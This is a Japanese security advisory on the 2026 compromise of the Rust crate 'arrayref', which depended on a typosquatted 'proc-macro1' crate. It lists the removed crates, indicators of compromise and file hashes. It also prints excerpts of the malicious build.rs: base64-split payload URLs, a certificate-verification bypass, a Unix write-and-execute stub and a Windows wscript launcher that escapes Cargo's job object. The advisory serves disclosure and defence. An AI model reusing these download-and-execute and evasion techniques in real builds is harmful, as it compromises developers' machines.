Rust クレート「arrayref」侵害インシデント：技術的詳細と影響範囲

2026 年 8 月 20 日、人気 Rust クレート**「arrayref」**の侵害されたリリースが公開されました。バージョン 0.3.10は、型名の偽装（typosquatting）により導入された悪意のあるクレート「proc-macro1」への依存を含んでいました。ビルド時に遠隔サーバーからバイナリをダウンロード・実行するスクリプトが含まれており、脆弱なバージョンのプルだけでトリガーされました。現在は crates.io によって該当リリースが削除済みです。

侵害されたパッケージと関係者

管理アカウントの状況

• droundy: 「arrayref」と「append-only-vec」を管理していたアカウントが侵害されたと見られます。
  • GitHub リポジトリ (

    github.com/droundy/arrayref

    など) はすべて 404 エラー（存在しない）です。
  • アップストリームのコード検証が不可能な状態です。

なりすましアカウント

• dtolney: 「proc-macro1」を公開したアカウントですが、本物の「dtolnay」と酷似しています。
  • メタデータには偽の著者情報

    authors = ["David Tolnay <[email protected]>"]

    が記載されています。
  • リポジトリ

    github.com/dtolnay/proc-macro1

    も 404 エラーです。

削除されたクレート一覧

arrayref

internment

append-only-vec

proc-macro1

proc-macro-en

aovine

arone

aronenao

tinymember

※補足:

proc-macro1

は本物の**「proc-macro2」ではありません**。マクロの著者が依存する真のライブラリは「proc-macro2」ですが、悪意のある「proc-macro1」はビルドスクリプト実行前まで正常に動作するため、ビルドプロセス自体を妨害せず、被害者の気づきにくさを狙っています。

被害拡大経路と影響規模

ユーザーへの導誘（バフリング）

• 侵害アカウントは旧バージョン（0.3.5〜0.3.9）を**「ヤンク」**（公開から取り下げる操作）しました。
• これにより Cargo は「更新されていないバージョンへの更新を検討すること」と警告しますが、開発者は最後に残る非ヤンクの0.3.10 バージョンへと導かれます。

影響範囲

• arrayref

  は GUI フレームワーク（

  egui

  ,

  eframe

  ,

  iced

  ）やグラフィックシステム（

  tiny-skia

  ,

  sctk-adwaita

  ,

  winit

  ）の深い部分で広く使われています。
• ダウンロード回数: 累計約2.45 億回（うちクリーンな 0.3.9 は約 1.52 億回）。
• この数は使用頻度の指標であり、実際に脆弱なビルドが行われた数ではありませんが、潜在的リスクは極めて高いです。

侵害指標（IOCs）

ネットワーク通信先

• ペイロードホスト:

  23.254.165.112:9089

  (HTTPS)
• C2 サーバー:

  23.254.165.112:443

感染ファイル（ダウンロード後）

/tmp/rust-setup

%TEMP%\rust-setup.ps1

%TEMP%\rust-setup-launch.vbs

セカンダリーステージのファイル名パターン

OS やアーキテクチャによって自動選択されるバイナリ名の接尾辞：

• rust-crate_0.1.0

  (Linux x86_64)

• rust-crate_0.2.0

  (Windows x86_64)

• rust-crate_0.3.0

  (MacOS x86_64)

• rust-crate_0.4.0

  (MacOS aarch64)

削除されたクレートの SHA256 ハッシュ

• arrayref 0.3.10:

  25ad700976873c76af785cb99b33c48db7df8b81f21d1e9e06b3676b9a9373ae

• proc-macro1 1.0.107:

  61198155da51b838772eecf5bfaac6cbc4dcc388dccc56658fc28a8e831b34d4

• proc-macro1 1.0.106:

  b5c1b5b0763a8809a644a8f92224653f0aca623a98eecc714d27f74b80fbe436

技術的詳細分析

悪意あるコードの配置場所

• ペイロードは**「arrayref」本体には含まれていない**。
• **依存先である「proc-macro1」**のビルドスクリプト (

  build.rs

  ) 内に配置されています。
• Cargo は宣言された非オプション依存関係（

  [dependencies]

  ）を、コードで使用されるかどうかに関わらず必ずビルドするため、単にこのクレートを入れるだけでトリガーされます。

[package]
name = "arrayref"
version = "0.3.10"
build = false
[dependencies.proc-macro1]  # ここが攻撃の入口
version = "1.0.107"

「proc-macro1」の構造

• ソースコードは**「proc-macro2」**をメカニカルに置換（rename）したものです。
• ドキュメントリンクやリポジトリ名さえ変更されており、ビルド前には本物のように機能します。
• ただし、パッケージメタデータは完全に偽装されています：

authors = ["David Tolnay <[email protected]>"]  # 偽のメール
repository = "https://github.com/dtolnay/proc-macro1"  # 404 の URL

ビルド依存関係による悪意の実行

本物の「proc-macro2」にはないビルド依存関係が含まれており、これがペイロード実行の鍵となります：

[build-dependencies.base64]
version = "0.22"

[build-dependencies.rustls]
version = "0.23"
features = ["ring", "std", "tls12"]
default-features = false

[build-dependencies.ureq]
version = "2"
features = ["tls"]
default-features = false

これらがBase64 デコード、TLS 接続、HTTP ダウンロードを行うためのインフラを提供します。

ビルドスクリプトのペイロード実行フロー

ビルドスクリプトは、IP アドレスなどを Base64 で分割して格納し、コンパイル時に復号化・再構築する方式を採用しています。

const SRC_URL_PARTS: &[&str] = &["aHR0cHM6Ly8=", "MjMuMjU0Lg==", "MTY1Lg==", "MTEyOg==", "OTA4OS8="];
const END_URL_PARTS: &[&str] = &["MjEuMjU0Lg==", "MTY1Lg==", "MTEyOg==", "NDQz"]; // 復号化後
// 復号化結果：hxxps://23[.]254[.]165[.]112:9089/ および C2 アドレス

セキュリティバイパス

• 証明書検証を無視:

  rustls

  の verifier が常に

  Ok(ServerCertVerified::assertion())

  を返すことで、自己署名証明書の攻撃も受け付けます。

OS 固有のペイロード実行ロジック

Unix システム

1. /tmp/rust-setup

   にバイナリを記録する。
2. 実行可能にする (

   chmod +x

   )。
3. C2 アドレスを引数として渡さず、直接実行する。
4. 標準入出力を無効化する（ログ隠蔽）。

fn run_unix_payload(bytes: Vec<u8>) {
    let path = PathBuf::from("/tmp/rust-setup");
    std::fs::write(&path, &bytes).expect("failed to write payload");
    // chmod 実行、spawn 実行（標準出力を null）
}

Windows システム

1. PowerShell スクリプト (

   rust-setup.ps1

   ) を記録する。
2. VBScript ランチャーを通じて起動する。
3. プロセス脱出:

   std::mem::forget

   でハンドルを意図的にリークし、ビルドスクリプトが終了しても PowerShell プロセスを殺さないように設計されています。

// WScript を介して Cargo の Job Object から脱出し、子プロセスを待たせない
let vbs = format!(r#"CreateObject("Wscript.Shell").Run "powershell.exe ..." "#, ...);
let child = Command::new("wscript.exe")
    .args(["//B", "//Nologo", launcher_str])
    .creation_flags(CREATE_NO_WINDOW)
    .spawn()
    .expect("failed to spawn wscript launcher");
std::mem::forget(child); // デストラクタ実行を阻止（プロセス生存）

この設計により、ペイロードはビルド完了後もバックグラウンドで継続して C2 サーバーと通信・制御を行うことが可能になります。